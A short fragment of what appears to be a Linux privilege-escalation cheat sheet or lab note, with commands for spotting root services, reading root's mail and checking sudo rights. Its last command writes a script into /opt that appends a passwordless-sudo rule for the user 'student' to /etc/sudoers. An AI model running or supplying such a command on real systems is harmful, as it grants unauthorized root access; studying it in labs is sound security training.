4️⃣ 4⃣ 4⃣ Logs
Check for services running as root
ps
ps -efRead local mail
cat /var/mail/rootCheck for permitted commands to run as root
sudo -lCreate a missing script with custom code
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /opt/exec.shLast updated